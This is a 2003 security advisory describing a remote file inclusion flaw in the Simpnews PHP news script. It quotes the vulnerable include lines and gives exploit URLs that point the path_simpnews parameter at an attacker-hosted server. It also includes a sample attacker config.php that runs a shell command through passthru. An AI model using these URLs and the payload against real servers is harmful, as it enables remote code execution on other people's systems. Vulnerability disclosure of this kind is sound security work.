PUPET-simpnews.txt

`original File name : PUPET-simpnews.txt  
date releases : july 15, 2003  
  
Informations :  
=========================  
Advisory Name: Simpnews include file Vulnerability  
Author: PUPET <[email protected]>  
Discover by: PUPET <[email protected]>  
Website vendor : http://www.boesch-it.de/  
Versions : tested on V2.01 -> V2.13   
Problem : Include file  
  
  
PHP Code/Location :  
=========================  
  
/eventscroller.php :  
---------------------------  
...  
require_once($path_simpnews.'/config.php');  
require_once($path_simpnews.'/functions.php');  
if(!isset($category))  
$category=0;  
if(!isset($lang) || !$lang)  
  
...  
--------------------------  
  
  
/eventcal2.php :  
---------------------------  
...  
if(!isset($lastvisitdate))  
$lastvisitdate=0;  
require_once($path_simpnews.'/config.php');  
require_once($path_simpnews.'/functions.php');  
include_once($path_simpnews.'/includes/has_entries.inc');  
...  
---------------------------  
  
Exploits :  
===============  
http://[target]/eventcal2.php.php?path_simpnews=http://[attacker]/  
with  
http://[attacker]/config.php  
http://[attacker]/functions.php  
http://[attacker]/includes/has_entries.inc  
or   
http://[target]/eventscroller.php?path_simpnews=http://[attacker]/  
with  
http://[attacker]/config.php  
http://[attacker]/functions.php  
  
Example for config.php on http://[attacker]/  
==================  
<? passthru("uname -a"); ?>   
  
Vendor Response:  
==============  
Not contacted yet  
  
Patch :  
=============  
will post soon at http://www.cracxer.or.id .  
  
reference :  
=============  
http://www.pupet.net/cracxerfiles  
  
==============  
  
This bugs Discover by : PUPET members of cracxer.or.id sub-devision security focus (www.cracxer.or.id)  
  
Thanks to :  
============  
kaka-joe , pak-tani, Bewok , AxAL , ^BuBuR^aYaM^ , Ernesto_che_guevarra , Babah, Idon   
Schatje , juventini , Headup , Quervo , kecap , notts , Kemo (candyman) and all crew #cracxer, #dhegleng, #minangcrew, #indocracker at @dalnet  
  
By :  
============  
PUPET (no more mr nice guy)  
  
  
_____________________________________________________________  
Get email for your site ---> http://mail.cosmo.com  
`